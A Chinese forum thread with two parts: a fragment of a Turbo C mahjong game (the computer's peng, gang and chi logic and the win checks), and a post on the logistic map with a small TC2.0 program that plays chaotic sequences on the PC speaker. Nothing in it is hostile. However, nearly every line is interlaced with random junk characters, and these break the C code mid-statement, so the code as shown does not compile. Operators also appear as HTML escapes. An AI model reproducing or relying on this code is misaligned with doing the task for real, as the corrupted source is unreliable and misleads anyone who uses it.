, M) c7 h/ H! g& b3 RfillRectangle(x1,y1,x1+20,y1+4,0);( f9 D& D0 ]( X$ u7 t, I
}
9 L& }8 b' F0 w  I& Kif(every==9): g+ {' C5 i& U3 h' }$ n# v' w9 w
{) q. a1 M* X/ s$ W. P
x1=200;' I; T! j- U6 o( ]) s& Y( y- r" P* B
y1=165;! c+ A  g; D2 m/ d5 p4 Y
fillRectangle(x1,y1,x1+20,y1+4,0);
* }/ v( ?% d2 {& h$ R4 v4 s}8 O& r% r( O* z; e8 N+ P7 s5 q5 E
if(every==10)! E8 [6 S* F; @! z' q
{. I4 ^1 v( v) [! b& l8 _; x# g6 V
x1=220;% w, M) I: j; T) A' J  d; d& g
y1=165;
* h2 Z! d. o  l) a, Z! efillRectangle(x1,y1,x1+20,y1+4,0);
/ c. }( J% \' S: k# ^}
. V6 r! S5 A0 s9 z1 Xif(every==11)
, k; z. X* ~7 P{
! X7 Z. @% _0 v! n3 \2 ~2 Z- sx1=240;. x8 }* w' S. R
y1=165;) w/ V5 L' `. f# T/ U$ [
fillRectangle(x1,y1,x1+20,y1+4,0);
; ]7 l( y) `6 p2 X+ W0 D}
- a& U7 H6 R! _5 Y& x& u) `if(every==12)0 n% q4 B- u5 ^+ k& A- C$ N+ V0 ^
{
% @* z7 X5 q7 Z4 {% J! jx1=260;+ \6 N; `# U" O
y1=165;: {* W# ?( t( O( b& q0 Q
fillRectangle(x1,y1,x1+20,y1+4,0);" _9 N. A3 _% O& H8 X2 {
}  g& ]! E; h/ c* X0 f
* b) }% A9 k2 E8 `
zz=0;7 P. X9 k0 N$ X9 \7 s
every++;, }% V* D/ T& g1 B; o& O6 s
z=z+20;
! B, \/ @7 k% Y4 p2 T2 _}" U. }* \8 I  u+ T9 T
showbmp(every);
1 H5 L5 M( @! L$ s! _# l6 a; Mkey=keyy;
! K* {( X% @; O: v5 M0 Dif(keyy==ENTER)
9 L* C- y2 O# l! i; ^0 a& D3 o{
0 {: A9 C% U$ D8 B! D- |0 `rgzn(every); /*********************/0 h' u  h, r$ _' y& F2 \* _
if(sing==1) /*如果可以乓,做相应的处理*/* o; p6 a3 Y* d* E9 q: i8 B; a
{
# t: P  E* {1 N7 j$ Y9 B. H; B( \2 ukkk=0;
" m  m- s$ p6 G1 v$ [% |' skkkk=0;9 q& ~0 o( q( F* F4 f
while(kkk&lt;=computer.m)& e8 u2 `. l9 ?8 h& D9 R8 \" e
{
. B/ I2 \7 h4 kif(computer.pp[kkk].p!=1)5 \7 n6 A4 X. q$ D( M
{" r8 Q% x* p1 n* p( D3 [/ G6 a8 {; Q9 E1 F
comp.pp[kkkk].k=computer.pp[kkk].k;% z, L  q1 v  K
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 U  Q: H5 m- V; X) hcomp.pp[kkkk].number=computer.pp[kkk].number;
3 ]# H. g  @. ^% Ukkkk++;
8 q' w; B" Q+ D  x}) }6 b$ Q: n+ P9 q/ D7 d; ^
else
# C1 k  A$ q: Q$ }2 S5 _3 M! T4 X{% m) T+ E- k2 g; `' o$ M
m[computer.pp[kkk].number].data1=1;4 \6 T( n1 g5 l- f6 a6 Y
dwei=computer.pp[kkk].number;5 n# I' ]7 `) j! q* e- ]
computer.pp[kkk].p=0;$ S7 B9 F8 j! o) @( a) V8 ]5 ]6 ]
}
) n& o2 z- X9 Okkk++;" k' O) l( ~7 e' E, p3 v5 o* }% w2 @
}
1 u# |; T6 y7 H' Kll=0;
" d. h4 j8 C' ?8 H1 k& b. _
( x: Z! \8 U( E0 z; @while(ll&lt;3)
, J% O- v! A/ i. F7 Q{ zl=zl+20;, r% ]0 ~7 U2 t2 J* v* j; f
bmpp(dwei); /*显示乓的牌*/' [  K# S# [& n3 w; ~
ll++;( N3 z  D3 J4 X# b1 B: p% l7 Y
}8 c6 r8 _; c$ a! {8 m& [0 |
2 h$ U2 {8 L6 q, m) ?
zl=zl+9600-60;4 K- A- G; y& Y3 i
kkk=0;0 x  S- y, ~, d8 c9 x$ u/ H
computer.m=computer.m-2;
4 S  S5 [/ o& o& _+ O+ O" ~3 Zwhile(kkk&lt;=computer.m)
+ X: ^2 b3 k2 N/ e  m# _& Q{2 \* y( _7 o+ f
computer.pp[kkk].k=comp.pp[kkk].k;9 Z" B  }8 t4 u( m" \( a
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" Q3 S! L7 g" o+ H
computer.pp[kkk].number=comp.pp[kkk].number;
  \3 ?: }  J, ?  l$ s  Skkk++;
4 O# F+ T/ \. Y) K9 X1 B: R. U. |}& _" D8 j) D8 I. }$ c9 g
ll=0;
! [( o5 _* K) n6 D/ W4 @+ U5 z6 l) ]temp=random(computer.m); /*出牌等待完善*/
( e7 X" ~& w$ Ezyy=zyy+9280+20;& n0 F  M+ Y9 z( S4 ~
showcbmp(temp);
4 Z# k3 s1 u( \5 N; bzyy=zyy-9280;3 ^# ]. c# ?* w" z- B; f
/*****/" S, b- O7 W+ E  i3 i" e9 G1 a
rgznme(temp); 7 J% G2 z0 C" s% Q
panduan();# Q9 c  e0 |6 M
if(me.m==0)3 ~4 ~, l  x; E3 C' y
if(second==1 &amp;&amp; threes==0), a5 O% n1 D8 j2 x6 D  p
printf("you win!");% o, @. |# f; G" m" q
if(me.m==3)
( f, ?5 s5 x# ?) [0 q- _) Oif(second==1 &amp;&amp; threes==1)
; R. b$ n/ x2 _* ?% r/ r9 dprintf("you win!");
, b# M. \# o) P7 {; |if(me.m==6)& X+ I9 x' x- [" r$ G
if(second==1 &amp;&amp; threes==2). i. e' |6 D4 p2 @* X5 O
printf("you win!");
! l' F: n8 Y5 e5 \* iif(me.m==9)1 O, |; j! O/ P0 _6 p, ?) T
if(second==1 &amp;&amp; threes==3)* J. R4 q1 b+ {# _4 @
printf("you win!");. E% ^% R. D+ q3 {1 K. m
if(me.m==12)' z3 y/ ~  ~% D' H  D9 n
if(second==1 &amp;&amp; threes==4); F  A* s6 n+ I( p& {# w0 h. z; c2 ]! y
printf("you win!");
( F) ]0 H0 k, N$ a, K0 _  p5 J7 `$ x5 e% M
kkk=0;
, A! }: g- l' B7 ]% X7 c  Lkkkk=0;
( z+ m5 R& B1 e* U6 I- T+ I) iwhile(kkk&lt;=computer.m)
2 \! W: E$ d3 Z$ I{
( I/ y; m: x( ^' x" E6 Pif(kkk!=temp)1 y. L; O+ U/ o' P: Z8 i# |/ b
{( X' t0 X( l1 d5 [3 y1 m
comp.pp[kkkk].k=computer.pp[kkk].k;
( H  w- V( {. l2 Ocomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;; w. v, `" ?. Y6 d
comp.pp[kkkk].number=computer.pp[kkk].number;
- g' R9 g) j7 E9 Z# r8 lkkkk++;9 ^6 V" t6 d  k8 q  e
}; d! q" C6 T" I* G3 A! L3 O
else
" b7 @( f7 Z8 a3 {/ w" N- E3 cm[computer.pp[kkk].number].data1=1;
3 J' G+ j. @+ q$ R7 a% M  ^kkk++;$ I; x/ A/ ^, q6 o9 T4 N) g
}% S) V9 i9 |* N8 p& x
kkk=0;
, M! O* {9 d$ [: E* icomputer.m=computer.m-1;
/ ^0 v- k' V! ^( e2 m, Lwhile(kkk&lt;=computer.m) : |8 O& Y- z& @% y5 Q8 V
{& g, W7 _& L6 _' }1 {7 A
computer.pp[kkk].k=comp.pp[kkk].k;
6 m9 p! r! y  fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
6 [8 t" x) D1 b- Q7 A9 k8 n6 Tcomputer.pp[kkk].number=comp.pp[kkk].number;
" ?- N: z8 I; Xkkk++;
( z5 [/ _  [. ]& G& Z) z" X# o7 j}" Y( S( V3 W# J9 F# p- I, P
fillRectangle(0,0,320,30,0);/ G# O% [$ P% N- i4 Y
n=computer.m;
9 N3 Q9 S8 z0 d9 t! cll=0;$ z4 [& k2 t, @3 k/ |
zy=0;: x/ M4 x  N( f& E1 F
while(ll&lt;=n)$ a  Y2 v6 F$ a! \! _
{
( ^- |6 d) M  O: N/ B2 Fzy=zy+20;% c, R. ~! H1 A9 i5 m
showybmp(ll);, ?3 ~& e2 o( B, A& {6 `& @
ll++;5 d0 u! X' j. T' Y" a  N5 C- P
}; [! N& e3 U: v, ]1 i$ L
ll=0;7 {% u! d9 {' ]
getch();
+ X3 I3 j, M# c1 H( f* F! @sing=0;$ @: A) H) ?- E9 X6 Y" H
sing1=1;
+ n8 m4 _9 F7 [4 C}8 A: D2 k" ]! {4 k( ^, F1 R& w% e

7 b8 b9 E  B6 q  dif(sing==2) /*如果可以杠的做相应处理*/
7 n& y9 {* `9 S9 |{: g% K; d: P9 f" \
kkk=0;7 Y1 K) g0 G( M2 k
kkkk=0;3 y4 B2 b" _) a6 R. K0 ~2 V  i
while(kkk&lt;=computer.m)
- l0 H% \. S2 W8 l) X$ C{! r% Q9 u3 I: i8 v& R1 l: z
if(computer.pp[kkk].g!=1)
9 o& c8 _  s0 O, @, u$ H{
+ ]0 R7 @5 W3 }comp.pp[kkkk].k=computer.pp[kkk].k;
) g1 d2 N8 x( k% icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: X+ H- {! i# x) f" k1 Ocomp.pp[kkkk].number=computer.pp[kkk].number;
4 p6 H/ U! a) x4 ^1 Wkkkk++;* j# M# r- v( F9 S% P
}
3 J( T: e0 Q8 @) E0 d' {  `/ Gelse( a& e, m' i( u8 u" ]
{0 ?! }: G/ n! k/ ?; `! N$ h
m[computer.pp[kkk].number].data1=1;( n- n" d0 C9 y* z5 `
dweig=computer.pp[kkk].number;, @- v* q; ^! K) \. g+ V- g. T+ ~
computer.pp[kkk].g=0;
% h( H# ^2 V% @  Q/ Y0 w}
- `6 d  q4 D! o# Ekkk++;
0 f) {: J% [1 ?4 w* K}
: ?, e5 W) c9 \ll=0;* w% C& ?3 J' N

" s1 ]0 o  O8 K) gwhile(ll&lt;=3)& T5 S4 Z' ]* z* Q6 x
{ zl=zl+20;
1 T: W: ?# Z# gbmpp(dweig); /*显示杠的牌*/7 N- n# K4 g1 g7 @9 _# v0 J
ll++;  A) Q/ X1 o) |2 Y2 R3 Q
}
" W  \6 \6 @" a9 `zl=zl+9600-60;
) @  B$ z& m% O/ \. ]) @6 ~+ Mkkk=0;
  I1 p4 m" L7 ^( v4 Q( [# Scomputer.m=computer.m-3;+ Q6 \( @5 w4 E
while(kkk&lt;=computer.m)
- Q; |4 A& @" O{
, @7 ?& ~0 c6 }5 Ucomputer.pp[kkk].k=comp.pp[kkk].k;& k! r' Z, j( K9 N# F% g5 R# O( S
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;: f+ n3 ~5 b  P2 O
computer.pp[kkk].number=comp.pp[kkk].number;, y* I5 z8 T/ K3 }
kkk++;/ U: s6 U  V  [/ _( z0 G% y6 F
}' U0 G- z: A: ~9 a8 [
kk=0;
9 ?2 P( d2 T- c! a/ vcomputer.m++; /*加一个牌的容量*/
" x5 R4 K; `" n! B) I# V+ t5 x* N( `while(kk!=1)/ v2 x- @, r9 C* `
{
2 ~  }* }. `3 n- u# Btemp=random(136); /*出牌*/
& L0 {% B5 O5 j5 uif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
$ @% K. m3 u0 G0 W{; b" u/ ^" t- B
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
7 }4 Z1 X# N5 E7 Ucomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
# z" L! J4 u: N% ?computer.pp[computer.m].number=temp; /*第几张,用来排序*/2 T: c$ K& {, a
m[temp].data2=2; /*判断牌是谁的,2为电脑*/. S: q7 n9 p) J5 z. T1 K
kk=1;- {% D/ r) w# W3 ^9 a2 V0 C+ q) U
}6 B  Y$ w1 H7 A5 C3 s9 C
}) Q7 u3 K$ K5 ^3 z$ C: _5 H
comlipai();
2 w) W: G1 X; k; ]7 Ytemp=random(computer.m); /*出牌,等待完善*/+ f: l; U8 {9 _1 ?1 G' [
zyy=zyy+9280+20;$ `7 Y" ]1 E- ^0 I* C5 A2 F4 G/ O
showcbmp(temp);8 u1 b4 S& J: [
zyy=zyy-9280;/ P: l$ z/ c, n0 l
/*****/
$ O* P+ V$ |$ b  O4 d' F; J( ~rgznme(temp);  w' k" V* ~1 m/ R3 U# D/ U. j/ q
panduan();
* i. y6 R6 ?% b* Oif(me.m==0)2 r  m8 M- P8 n$ O. W& v
if(second==1 &amp;&amp; threes==0)
& V$ B% }/ ]7 b( h0 |+ r% Kprintf("you win!");# {2 J" N1 j* z4 a% y2 y7 e& L
if(me.m==3)$ [, Q+ D" b8 q$ P4 Y
if(second==1 &amp;&amp; threes==1)  v0 c" R0 y3 ~
printf("you win!");" O# T: _) h2 M+ G. x  _
if(me.m==6): c; _9 z7 z5 z& i) z
if(second==1 &amp;&amp; threes==2)6 B7 a! v2 U) d" b( T
printf("you win!");
/ C& ?: U; X0 ?0 i. ]if(me.m==9)
, e% J. L0 ~. @+ Rif(second==1 &amp;&amp; threes==3)
$ K, x; h7 \9 b" n3 U/ nprintf("you win!");7 ^) U4 F/ P5 h: G" G( T
if(me.m==12)
/ k* X# f7 ~' p5 N, i3 n: \. Uif(second==1 &amp;&amp; threes==4). j) A! H* F6 d  f
printf("you win!");* ^; |7 @# I$ O3 I

7 R8 {4 Z, x+ T' Q' r7 [) `kkk=0;; y2 E3 m* p( D% u# B- `
kkkk=0;
! w& }8 C0 B$ G* qwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
5 M9 t# d) B1 J{
) s1 r. H' C: z# |; J3 gif(kkk!=temp)0 C- L$ I3 T- q7 ?: q! T; n/ K0 h
{0 G1 G/ H7 u8 R, U; j
comp.pp[kkkk].k=computer.pp[kkk].k;
5 k: s9 l, q9 l, e3 W& Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;) M) n* |1 q2 l1 W/ |+ I6 p+ ~& q
comp.pp[kkkk].number=computer.pp[kkk].number;& U' d4 J+ {$ u
kkkk++;( |6 q# j6 L: F. v' s0 I
}  Q7 k! I4 K! N  C+ `% f
else' K. w  Y0 z  R( Q! o0 }" d
m[computer.pp[kkk].number].data1=1;. x8 z% a+ X4 a
kkk++;6 I3 u8 o  w" O" g0 `
}2 _; ?- j# k  q, y9 Z! _8 l) {
kkk=0;' s7 t! F- ~1 y) K+ C5 d+ U
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
2 X( Z5 x6 D& f3 A2 x- k' O% |1 ?while(kkk&lt;=computer.m) ) ]1 q4 A3 k& b
{  \: r6 ~$ H4 c! ]; _  w1 s
computer.pp[kkk].k=comp.pp[kkk].k;: }1 t  P, A' a, z3 T% n
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" T, y( I4 x! s, K9 ~# \% R- H6 u1 a
computer.pp[kkk].number=comp.pp[kkk].number;& ?+ I- ~& ~7 Y6 I9 \7 f2 @
kkk++;9 L  N" h& N% v1 ^* t8 o/ X& _' a# C
}# X- y" K1 M8 Y" u9 |8 t0 h
fillRectangle(0,0,320,30,0);  a- |6 ]2 O6 e! K2 w% n
ll=0;% O# |4 }. ~- X* ?% P5 h$ a- K; {
zy=0;% N, }; }6 O5 P* B% X" [
while(ll&lt;=computer.m)
) J3 q3 `. ~2 M" x" N; w# ~{
6 N& M7 a& M3 l3 Izy=zy+20;: _1 R7 U$ q& [! q/ h
showybmp(ll);/ t; l4 L& j+ i- \8 K( N
ll++;0 r4 H1 C" S3 C' x3 W
}' B% p) f, d- e" l/ G" A
sing=0;. A" ^- y3 j: T6 {* O1 m1 `( ?
sing1=1;" a8 w  q0 @# ~( m
}- m" Y7 b% `) W5 Q* j
if(sing==7) /*如果可以吃的,做相应处理*/
9 _( a& b5 I- S# T) L0 S- t{ nn=0;! A" W- m: u3 d5 B
kkk=0;  S/ O$ A; V7 `
kkkk=0;: a: L& m3 d( G& v6 F/ ?; m2 c- _
while(kkk&lt;=computer.m)
' k) ?: X0 I, v! b; k{
  a( c/ s$ U1 U  z( C5 kif(computer.pp[kkk].c!=1)% H* Q5 B" \+ j4 s
{
2 K5 @" R7 d# `9 d6 U  X9 n# p, [& Ocomp.pp[kkkk].k=computer.pp[kkk].k;7 g* L$ r  W; F2 L9 @9 K% W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 [7 ?2 F1 o- Z6 x1 j0 @2 p& P/ wcomp.pp[kkkk].number=computer.pp[kkk].number;
' |' c4 O4 D5 N8 \; Wkkkk++;* `0 [( C6 o' U% K; ^' `4 Q. P, i
}, m( ?) M# W! c3 N6 a# c5 J3 _
else) S1 q: h' L4 y8 M1 V! v
{
, j! O& W6 d' l2 [m[computer.pp[kkk].number].data1=1;
! M# l; o+ F3 n# ?) m% Q: p7 h5 l4 Fdw[nn++]=computer.pp[kkk].number;* B6 O& v! Y& w- v( s
computer.pp[kkk].c=0;$ S+ W8 V4 R9 I' L* u4 f1 y- I1 o0 _
}
( m8 P2 ~: T, P$ F  ]6 jkkk++;
* O0 v8 v9 j. E9 c}
* w% b) z* m- i1 J9 o& x* J: Y
5 ?9 A7 g% W4 C7 b4 Yif(me.pp[every].number&lt;dw[0])
! F! O7 h6 O& q2 u3 C; g6 p$ B{) J- B! G) c+ C; }
dw[2]=dw[1];% K, M7 ~, e. W7 K/ f" z8 k  f3 F
dw[1]=dw[0];+ l2 }& L& V* X
dw[0]=me.pp[every].number;9 E. j- Y1 s9 n! J( C; \; l. M
}
& J" H  P9 J% U( s3 ^+ N" i4 b  ?if(me.pp[every].number&gt;dw[1])
9 K! o' p5 d7 R" }{( }/ q+ j  \: x# q% }6 v+ c5 q  j
dw[2]=me.pp[every].number;! ?* ^% \! O$ N$ L% z7 J* `
}
0 i$ \& o) m* J* R/ `2 m/ a: Yif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
" Q, J: K: m3 a2 ?. a% G7 Z{
$ ^- v8 Z8 f8 o3 tdw[2]=dw[1];( p/ R7 S7 A$ N4 ~# a4 T; z7 i4 Z
dw[1]=me.pp[every].number;! Q, M$ r3 s8 S. M. T# E
}
0 o0 Z4 ]9 N- C. Jnn=0;
$ `/ I; F+ J6 d7 I8 \while(nn&lt;3)
, K% l7 s9 M) F1 s. f; B{ zl=zl+20;
. q! B: P7 A: S% }% ?/ gbmpp(dw[nn]); /*显示吃的牌*/
( ~1 M7 {% Z7 l; Xnn++;
3 ]! ~! T$ K3 T' t}
2 c- I" i- j3 ]  N2 f, q5 l* Tzl=zl+9600-60;( o& l2 z% b8 I! _* d. ^. H
kkk=0;
7 `, t8 s; C6 S# X; ^computer.m=computer.m-2;  B" X, Q! ^* b/ r# f9 |# K' A
while(kkk&lt;=computer.m)
7 Q2 J1 g) k3 _' ]/ W, Y{* l; `' K4 @$ {5 f- Z% V/ L
computer.pp[kkk].k=comp.pp[kkk].k;
7 I$ h2 j3 B# \* h7 i5 Ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
9 T* ]* Z$ t: b# H' scomputer.pp[kkk].number=comp.pp[kkk].number;
. d; N: Z1 f$ J8 }# b& [kkk++;
; \; ^* S# O( L, |# Y& `: `}
4 L* B, E! I$ s/ m5 r' ?ll=0;$ O: D3 ^; E) ]! I; J1 d
temp=random(computer.m); /*出牌等待完善*/# F2 B0 {/ V+ ^4 I& \( }: j
zyy=zyy+9280+20;: D7 s/ e- s" u
showcbmp(temp);2 O) ^. @0 \" M' e" i
zyy=zyy-9280;
' a0 c9 s* [3 I; f: H) `/*****/5 J8 E# s/ i3 q) X6 K* ~; z0 [
rgznme(temp);
9 m- ]9 t) r) k, cpanduan();
: G4 T& p3 C" Z- G0 o8 \1 s  p. @if(me.m==0)' K! U1 U6 G; x6 _7 ^/ }+ D
if(second==1 &amp;&amp; threes==0)) x2 q( I+ J( C- E* d
printf("you win!");
2 M! ~( G8 i2 Jif(me.m==3); f+ W4 l1 p6 h9 T. O
if(second==1 &amp;&amp; threes==1)3 a: _& n/ Y1 L
printf("you win!");& h; ], y/ i/ a7 t
if(me.m==6)
  g, Y8 e0 H) ?# |( F  Eif(second==1 &amp;&amp; threes==2)
9 T6 x; \  o# d4 X. Fprintf("you win!");: r% Y8 J5 t$ V3 V3 W
if(me.m==9)6 ~! k2 @* T7 Q) C! b6 Z
if(second==1 &amp;&amp; threes==3)
6 f1 c. b8 T5 y0 ]  o9 Z( Aprintf("you win!");
& e1 \' G7 n* H' V! mif(me.m==12)$ y- A6 T8 a% B( I' ^, E
if(second==1 &amp;&amp; threes==4)
; r9 Y) `& m* Y2 z" Q" lprintf("you win!");  `& d# I; F9 S
3 U$ L0 t7 ]! i( @/ z; _, @  {
kkk=0;
* d4 f- x+ S' o3 V8 [3 ykkkk=0;
" U/ n. E. F7 {0 _4 ^while(kkk&lt;=computer.m)# m, J% C" f6 g3 r+ S
{: y  h2 d, f( o4 m# P( C
if(kkk!=temp)* B; ^5 o7 H; ]. o( ^* W
{) p& Z; n" r5 G  V. {; u4 {. R
comp.pp[kkkk].k=computer.pp[kkk].k;1 E) e7 J* i: Q' o- \4 t1 n
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
$ q5 X" h/ L. D& z2 Q3 G/ lcomp.pp[kkkk].number=computer.pp[kkk].number;
/ q/ ~! w* L* B  H# kkkkk++;
' ^; Z- b/ A* N. Y4 l9 A- d}
0 J( P$ g& X2 U9 [else3 E- G# q9 E  d6 j- b% p2 ~" L3 ]
m[computer.pp[kkk].number].data1=1;
7 `  d! m) a1 P( _  y. fkkk++;- n+ I: r# k& P! \( `; @2 f3 K
}
' r: [/ p" E7 V3 n4 Ikkk=0;  W8 B0 Y) a0 _1 T
computer.m=computer.m-1;
  U, o% C6 J- T" x) l, b3 M( Bwhile(kkk&lt;=computer.m)
0 a- ^& N5 h6 K' m9 I- j. l2 @! W: {{+ b9 C8 v% z0 d  S
computer.pp[kkk].k=comp.pp[kkk].k;
) r5 d% M- l- ?- kcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
$ S& r' D: E  c* x1 Zcomputer.pp[kkk].number=comp.pp[kkk].number;
& ]3 L9 X: [3 ~: B" ?+ zkkk++;$ C0 o" _- K: @: U, s2 W1 a
}4 c3 n9 S% W& }6 n( f# l
fillRectangle(0,0,320,30,0);
  ]# r1 K; ]' I" f% u( d9 On=computer.m;
% x' ^1 K  b2 ]( p) bll=0;4 F" g& X2 Y* _
zy=0;
( U% m, E: b% p, P# Z) }1 ewhile(ll&lt;=n)* |1 I! v% Y9 j
{
9 z! @: U7 j: s8 [' [zy=zy+20;& X: o5 B* [% m! S% ?" I
showybmp(ll);9 U, ]( h' g, R- \% I
ll++;2 P$ Y; t+ L* v! D7 n
}
$ h0 j" D( x5 u& `, m' X( q3 \7 a5 `! s2 X8 x4 N
getch();
0 L4 U" P& \" K9 G# S# |5 S, _sing=0;
; C4 r% h1 G" g( D8 ?- f$ vsing1=1;
' s+ ]: Q) z; o2 L1 l* G7 i% Y}
) o3 J& o* E6 I" a" {if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
# \" j2 i  B5 l4 T: S{
: j& I$ e) N8 I' ~8 }kk=0;" j) l# ^* @3 F, c
h=me.pp[every].number;
- g1 q+ c9 D# v* t1 ]  }4 em[h].data1=1; /*此牌已经无用*/
. s3 c( v  R( v0 a" M0 X/ z- b, @if(sing1!=1): U+ g9 t! U$ J9 k2 K4 t- M* ]& [! |4 O
{
8 U& E" o* m5 v3 Vzyy=zyy+9280+20;
5 u& N3 t% ^& p7 g, [showbmpd(every);" a% K4 [0 |/ j* l0 q; O
zyy=zyy-9280;
1 T3 y: i  L% q  X# A# P}. l0 N, L! T) I6 ]$ I3 X3 u) J
while(kk!=1)
: |4 U" C- N3 l$ c  s- s{
) J: |3 t1 r( D& k) s7 _- B5 i, Ctemp=random(136);
. y7 A1 Z* `7 j3 z1 e- Hif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
6 k* |. x# m* P" P4 {# F* U* E( c{
# c( |8 q# C& @. r9 y+ \me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
4 N# M" ?2 h( R' r& i3 Wme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
8 u# @& a3 W- `- i, q8 e/ L# Ime.pp[every].number=temp; /*第几张,用来排序*/& B* D( f6 t/ C/ V7 q
m[temp].data2=1; /*判断牌是谁的*/
$ t$ V% ^8 @0 ?kk=1;3 B( [8 p# ~# t) L
}
( j  V! H, |- W) g6 jif(kk==0) /*判断如果又选择了,就从新再选*/
5 y* p0 w/ Z" jkk=0;3 `: z1 ], D- q, u* q* y0 e" ~
}
" D# c& o) N7 w; H# z$ S}" g# i) B1 E! z
sing=0;
; k& @6 |  h& q+ m) M; E) Msing1=0;
6 R5 e" V1 b, C* Z+ vmelipai();6 V9 r+ u* R" M6 U
n=13;
' L/ [* `3 s- lz1=54400;' T8 K8 t. @/ G' W. C7 J7 E) U/ l: w
l=0;- k) D. s5 X- |4 h1 ~
g=z;- l7 ]4 Q4 Q% K1 T
while(l&lt;n)
+ D& `/ @) Y- C& e$ h. T) {1 d{ z=0;
/ O8 ]- a3 R% |& H5 tz1=z1+20;" K. _2 ^. U5 D% t! b# G+ {
showbmp(l);
! \2 B- p* Q6 w. Al++;
# N8 S+ W# I& J9 ~4 ?}
& h& k" \. d  a' s' D  {z1=0;! }& D' U$ f9 {. I
z=g;& s' o6 ~; e( M( w
}
1 T' H/ n6 G2 ^, M- y' v6 Okeyy=0;
9 Q" x5 H2 t3 \: Q3 d+ [, d) A}
! V" p7 P$ M2 K8 q6 k; c, \. J
5 E& Q3 w) z6 H7 ^) Q, \' n7 agetch();" [* I( Q3 P5 @2 z
OUTVGA;# N: Y5 \! Y! k5 d
} 5 T- m' y: V- ^- t# L
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])# r5 e. M! _" c0 H5 J' O
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:' w) P" p& h: W: a; a; }; q; t

( {  Y. S/ {  Y9 U% h" c+ B  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。, \" i% q' `$ A. |# `9 x8 t' ]) F5 F
  <FONT color=#009900>#include <DOS.H>9 R4 A+ H" Z2 ^/ d
  #include <STDIO.H>% S5 M* b0 Q' N. h1 b0 G* P
  main(){, Y3 Y7 W9 M3 }, K: k* _
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
4 v9 F) @& m  |  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/0 T2 T" w" ^3 v! N2 E
  /*i,j用于循环记数*/
/ F. F2 _1 ?5 B  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
& A) k, R' X4 |; i, l  fDis=fMax-fMin;
" j+ D( Z+ }( }! W5 C5 |! v) u  for(j=1;;j++){
+ U5 k. b0 q( {+ `/ T/ G  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
( t5 H: m) {1 K& c' n5 d  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
( Q# T4 f, ?  x  scanf("%f",&k);/ R% q9 j2 {, X
  if (k==0) break;
" F+ J- T8 _( y( X8 @* o3 x  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
3 g0 V  f7 |1 y; Q9 t7 E  x=k*x*(1-x);0 }% k4 `. m$ p% G& Z, Z, c9 G
  for (i=1;i&lt;100;i++){
5 q  {( N( j( s0 N9 t/ z  x=k*x*(1-x); /*计算x的值*/
* u4 r7 V9 s) ]3 n  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/! Y9 e' }1 b* O( E. B& x! W; l
  delay(1000); }  X- Y, o3 L* H5 \+ `8 _
  nosound(); }}
+ t; c1 _$ u, p$ C- u1 \& f  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
; f* d6 D% k0 f) @- Z不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

